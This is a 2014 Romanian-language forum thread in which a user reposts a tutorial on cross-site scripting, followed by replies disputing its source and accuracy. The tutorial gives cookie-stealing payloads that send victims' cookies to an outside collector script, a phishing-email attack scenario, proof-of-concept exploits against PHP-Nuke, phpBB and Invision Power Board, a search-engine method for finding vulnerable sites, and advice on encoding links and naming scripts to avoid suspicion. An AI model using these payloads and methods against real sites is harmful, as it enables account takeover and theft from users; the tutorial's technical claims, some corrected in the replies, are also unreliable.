Tutorial XSS Ro

[TokyoMode]

-------------------------------------------------

*Introducere

*Ce sunt atacurile XSS

*Injectare Script si XSS

*Ce pot face atacatorii cu XSS

*Un scenariu de atac

*Cauta site-uri vulnerabile

*Exemple Exploit-uri XSS si Vulnerabilitati

*Codarea URL-ului de atac

*Cum te poti proteja de atacuri XSS

*Ce poti face?

--------------------------------------------------

---------------------

>>INTRODUCERE<<

---------------------

Atacurile XSS au devenit o mare problema si va devenii o problema foarte grava daca oamenii nu se informeaza

despre atacurile si vulnerabiliatile XSS.Vulnerabilitatea Cross Site Scripting a fost gasita in toate tipurile de

site-uri incluzand si fbi.gov, yahoo.com, ebay.com si multe alte site-uri populare si importante;Multi administratori

nu acorda atentie acestor atacuri deoarece nu stiu multe despre XSS si nu le considera ca o amenintare.Cand

o vulnerabilitate XSS este exploatata de un hacker experimentat sau chiar de unul novice poate fii un atac foarte

puternic.Acest articol detaliaza atacurile XSS si spera sa te ajuta in a le intelege mai bine,cum hackerii le folosesc

si bineinteles cum sa te protejezi impotriva lor.

----------------------------------

>>CE SUNT ATACURILE XSS<<

----------------------------------

XSS mai este cunoscut ca si Cross Site Scripting.Un atac XSS este realizat atunci cand atacatorul reuseste sa

injecteze un cod Java Script sau alt cod.

Ce poate cauza?Daca atacatorul creeaza un link special si il trimite victimei,iar victima acceseaza link-ul,acel cod

Java trimite cookie-ul victimei unui script CGI si de aici stiti ce se intampla.Cand un atacator creeaza un link

malitios ,de obicei il codeaza in HEX sau alte cod pentru a ascunde link-ul infectat.

Website-urile vulnerabile atacurilor XSS au de obicei continut dinamic ,adica orice aduce

schimbari in interactiunea userului pe site sau a informatiilor stocate in baza de date despre user.Acest continut

dinamic se refera la Forum-uri,E-mail-uri bazate pe web si multe altele unde informatia este trimisa catre server.

-----------------------------------------------

>>INJECTAREA SCRIPT-URILOR si XSS<<

-----------------------------------------------

Sunt doua tipuri de XSS,unul din ele fiind injectare scrit-urilor iar celelalt fiind atacul XSS general.Un atac

Cross Site Scripting este normal folosit pentru a executa script-uri java pentru a fura identitatea/contul cuiva

iar uneori este folosit pentru alterarea temporara a paginilor.Odata ce a fost injectat un script pagina este

alterata permanent.Este important a nu confunda cele doua metode de XSS, amandoua metodele sunt la fel

de periculoase si este important sa-ti protejezi soft-ul/site-ul de ele.

-------------------------------------------

>>CE POT FACE ATACATORI CU XSS<<

-------------------------------------------

Cel mai cunoscut atac este cel in care atacatorul foloseste vulnerabilitatea care consta in "sterpelirea" cookie-urilor.

Cu java script se mai pot aduce modificari in detaliile unui cont.

Cel mai mare risc pe care il reprezinta XSS este executare unor coduri pe computerele userilor.Pentru a evita

asemenea atacuri este indica sa va faceti toate update-urile la timp.RECOMANDATA ESTE SA FOLOSITI Mozilla

Firefox ca si browser nu Internet Explorer,Netscape,Opera etc.

--------------------------------

>>SCENARIUL UNUI ATAC<<

--------------------------------

Presupunem un atacator care are o anumita victima in minte.El stie ca victima este online pe site-ul de cumparaturi

online.Acest site ca multe altele permite vizitatorilor creearea unui cont personal unde pot cumpara diferite lucruri

fara a acesa detaliile cartii de credit.Aceasta metoda este folosita pentru a prevenii key-loggingul.Detaliile cartilor

de credit sunt stocate pe site.

Atacatorul stie ca poate fura cookie-ul victimei si ca va fii capabil de a cumpara de pe site folosind cartea de credit

a victimei.El trimite un e-mail victimei cu urmatorul continut

Cod:

<A HREF="http://archives.cnn.com/2001/US/09/16/inv.binladen.denial/?tw=<

script>document.location.replace('http://freewebhost.com/ph33r/steal.cgi?'+docum

ent.cookie);</script>">Check this Article Out! </a>

Victima aceseaza link-ul si va fi redirectionata spre CNN News Article dar in acelasi timp atacatorul a reusit sa fure

cookie-ul datorita link-ului special.Acum poate inlocui si folosi cookie-ul cu ajutorul Firefox Cookie Editor.Acum hackerul

reimprospateaza pagina [REFRESH] si este logat in contul victimei

-----------------------------------------

>>CAUTA SITE-URI VULNERABILE<<

-----------------------------------------

In caz ca esti detinatorul unui site te poti gandii ca site-ul tau nu contine nici o informatie importanta [daca asa este] de ce

trebuie sa te ingrijoreze atacurile XSS???

Asadar este un motiv foarte simplu pentru ingrijorare,este o cale foarte usora pentru atacatori sa "vaneze" site-uri.

Acesti atacatori "scripts kiddies" folosesc deseori aceasta metoda pentru "vanarea" aplicatiilor web fiidca

sunt extrem de usor de exploatat iar cand oamenii nu acorda atentie acestor vulnerabilitati sunt "deschisi"

atacurilor.Acesti "script kiddied" folosesc "o scula" pe care o foloseste aproape oricine in ziua de azi.

Aceasta "scula" este Google.Poate ai auzit deja de Google Hacking.Poate nu sti cat de usor este sa gasesti site-uri

vulnerabile cu Google.

Daca eu as fi un kiddie script primul lucru pe care l-as face ar fi sa gasesc "o bucata" de soft vulnerabila

si bineinteles sa o explaotez.Dupa o cautare rapida pe Google am gasit ca Power Board 1.3.1 Final este vulnerabil la

XSS.Am reusit sa obtin si un PoC [Proof of Concept] exploit din Bugtraq

Exploit-ul:

Cod:

[color=]`style=background:url("javascript: doc

ument.location.replace('http://hackerlounge.com');")

PoC-ul redirectioneaza victima catre alt site

Acum este timpul sa vedem aproximativ cate "tinte" putem gasi.Asta o putem face simplu tastand in google search

"Powered by Invasion Power Board 1.3.1" [cu tot cu ghilimele].Dupa cum vezi ai ce alege.

----------------------------------------------------------------

>>EXEMPLE EXPLOIT-URI XSS SI VULNERABILITATI<<

----------------------------------------------------------------

PHP Nuke:

Cod:

http://localhost/nuke73/modules.php?name=News&file=article&sid=1&optionbox=['

http://freewebhost.com/ph33r/steal.cgi?'+document.cookie]

PHPbb Forum:

Cod:

http://localhost.com/phpBB2/login.php('http://freewebhost.com/ph33r/steal.cgi?'

document.cookie)

Invasion Power Board:

Cod:

http://[target]/index.php?act='><script>alert(document.cookie)</script>

Dupa ce arunci o privire asupra explit-urilor iti vei da seama cam ce afecteaza XSS.

--------------------------------------

>>CODAREA URL-ULUI DE ATAC<<

--------------------------------------

Codarea url-ului de atac se face foarte simplu.

Foloseste urmatorul site Base64 and URL Encoding and Decoding pentru codare.

Putem transforma urmatorul link

Cod:

http://localhost/nuke73/modules.php?name=News&file=article&sid=1&optionbox=['

http://freewebhost.com/ph33r/steal.cgi?'+document.cookie]

in

Cod:

http://localhost/nuke73/modules.php%3Fname%3DNews%26file%3Darticle%26sid

%3D1%26optionbox%3D%5B%27http%3A//freewebhost.com/ph33r/steal.cgi%3F

%27%2Bdocument.cookie%5D

Chiar daca acest cod pare mai lung pare mai putin periculos decat cel initial

Sfat:-Incercati sa nu folositi numele steal.cgi,fura.cgi sau alte nume care dau de banuit !!!!

-----------------------------------------------------

>>CUM TE POTI PROTEJA DE ATACURI XSS<<

-----------------------------------------------------

Pentru un raspuns scurt NU ESTE NICI O METODA DE A TE PROTEJA DE ATACURILE XSS

Zvonuri precum protectia SSL impotriva XSS nu sunt adevarate !!!!

Daca folosesti Internet Explorer te poate ajuta dezactivand Java Script,Java,Flash,VB Script si ActiveX

dar totodata iti poate afecta explorarea pe internet.Chiar daca dezactivezi acestea nu va fii foarte dificil

pentru atacator sa faca astfel incat codul sa fie executat.

-----------------------

>>CE POTI FACE<<

-----------------------

Daca site-ul tau nu filtreaza formele de input este foarte usor de inserat un cod.Pentru a prevenii Cross

Site Scripting este recomandat sa filtrezi caracterele alfa-numerice:

Cod:

>

<

(

)

[

]

'

"

;

:

/

\

Acestea sunt doar o parte din cele care pot alcatui codul infectat.

*Filtreaza caractere periculoase ca cele de mai sus

*Converteste toate celelalte caractere care nu sunt cifre/numere,litere

*Fi sigur ca pagina web nu iti returneaza input-ul inainte de a fi verificat de potentiale coduri malitioase

O cale buna de a te proteja este sa convertesti caracterele cu echivalentele lor in HTML

Inca o metoda buna e sa verifici referalul mail-urilor primite.

Tutorialul NU este facut de mine !

Sursa - ///

Edited April 20, 2014 by TokyoMode

[BadPorn]

Daca e scris de tine.. felicitari!

[aelius]

Specifica sursa.

https://www.dropbox.com/s/pycitx5vuxzfqjn/Screenshot%202014-04-20%2020.30.42.png

[TokyoMode]

Nu e luata de acolo aelius ! o am de foarte mult timp in pc si m-am gandit sa o postez . !

[aelius]

Nu e luata de acolo aelius ! o am de foarte mult timp in pc si m-am gandit sa o postez . !

Are si greselile gramaticale la fel. A aparut la tine in PC precum chipul bunului nostru mantuitor pe vreun perete al bisericii ?

[SilenTx0]

Ce poate cauza?Daca atacatorul creeaza un link special si il trimite victimei,iar victima acceseaza link-ul,acel cod

Java trimite cookie-ul victimei

- Java != Javascript

Sunt doua tipuri de XSS,unul din ele fiind injectare scrit-urilor iar celelalt fiind atacul XSS general.Un atac

Cross Site Scripting este normal folosit pentru a executa script-uri java pentru a fura identitatea/contul cuiva

iar uneori este folosit pentru alterarea temporara a paginilor.Odata ce a fost injectat un script pagina este

alterata permanent.Este important a nu confunda cele doua metode de XSS, amandoua metodele sunt la fel

de periculoase si este important sa-ti protejezi soft-ul/site-ul de ele.

- Doar prostii ce ai scris tu aici.

>>CE POT FACE ATACATORI CU XSS<<

- 99% din persoanele care au impresia ca stiu XSS rezuma exploatarea acestei vulnerabilitati la furtul cookie-urilor si alte prostii asemanatoare. Prin acest tip de vulnerabilitate se pot face multe altele...

RECOMANDATA ESTE SA FOLOSITI Mozilla

Firefox ca si browser nu Internet Explorer,Netscape,Opera etc.

Prezinta-ne cateva argumente pentru cele afirmate in legatura cu browserul.

Acesti atacatori "scripts kiddies"

- ai impresia ca toti care exploateaza xss sunt script kiddies? haha=))))

De ce tot faceti tutoriale daca nici voi nu intelegeti unele lucruri si nu stapaniti ce incercati sa invatati pe altii?

Edited April 20, 2014 by SilenTx0

[TokyoMode]

omg ! Crezi ca imi era greu sa pun sursa ? NU .. nu am specificat ca e facut de mine dar nici nu l-am luat de pe un site anume .. mi sa parut mai interesant si m-am gandit sa il pun .. chiar atat de mult gresi ca nu specificai sursa ? ffs

[MrGrj]

Uhm, chiar voiam sa spun ca am gasit pe cel putin doua forumuri acelasi tutorial [nu am stat sa citesc tot, dar in mare parte erau aceleasi cuvinte].

Insa nu e un tutorial rau & felicitari celui care l-a facut.

OFF: Ma dispera centrarea asta. Nu poti posta un tutorial aliniat normal ?

// si da, chiar conteaza sursa pentru ca altfel RST-ul ar putea avea probleme din cauza asta. Drepturi de autori si etc...

@SilenTx0

Java =! JavaScript

Java != JavaScript

Edited April 20, 2014 by MrGrj

[SilenTx0]

omg ! Crezi ca imi era greu sa pun sursa ? NU .. nu am specificat ca e facut de mine dar nici nu l-am luat de pe un site anume .. mi sa parut mai interesant si m-am gandit sa il pun .. chiar atat de mult gresi ca nu specificai sursa ? ffs

Cand nu prezinti sursa se subintelege ca e facut de tine.

[.darky]

omg ! Crezi ca imi era greu sa pun sursa ? NU .. nu am specificat ca e facut de mine dar nici nu l-am luat de pe un site anume .. mi sa parut mai interesant si m-am gandit sa il pun .. chiar atat de mult gresi ca nu specificai sursa ? ffs

Macar puteai sa spui de la inceput chestia asta. Daca nu iti spunea @aelius sa precizezi sursa, nici acum nu stiam ca nu-i facut de tine.

[TokyoMode]

SilenTx0 Tu esti unul din Anonymous ! OMFG apreciaza ce vezi nu ne da lectii ! NU E Facut de mine dar nu cred ca trebuie sa suferi acum ca domne sa le arat eu cine sunt ! of ce sa ne mai facem acum !

[SilenTx0]

SilenTx0 Tu esti unul din Anonymous ! OMFG apreciaza ce vezi nu ne da lectii ! NU E Facut de mine dar nu cred ca trebuie sa suferi acum ca domne sa le arat eu cine sunt ! of ce sa ne mai facem acum !

Ce sa apreciez? Un tutorial de doi bani scris gresit?

// Pai trebuia sa precizezi de la inceput ca nu e facut de tine.

[sleed]

Ca sa stii foarte bine sa faci XSS-uri iti trebuie putine cunostinte de JavaScript,HTML si PHP.. ca daca nu [ TRIMITI o bomba PA, spargi jepele , PA] , intelegi tu?

[TokyoMode]

sleed .. de cate ori sa mai repet ca NU E FACUT DE MINE ? doamne ba frate eu inteleg ca e pastele dar numai beti serios . Nu ma mai inteleg cu voi ? doamne sfinte

[dekeeu]

sleed .. de cate ori sa mai repet ca NU E FACUT DE MINE ? doamne ba frate eu inteleg ca e pastele dar numai beti serios . Nu ma mai inteleg cu voi ? doamne sfinte

Cred c? ai gre?it forumul. Aici nu postezi c?caturi doar pentru a face un post in plus ; dac? ai un material interesant ?i despre care ?tii s? ne vorbe?ti frumos postezi, dac? nu, nu postezi ? E destul de logic, nu ? Sunt convins c? dac? te pun s? îmi enumeri 4 tipuri de xss, te pierzi pe la „reflected„ .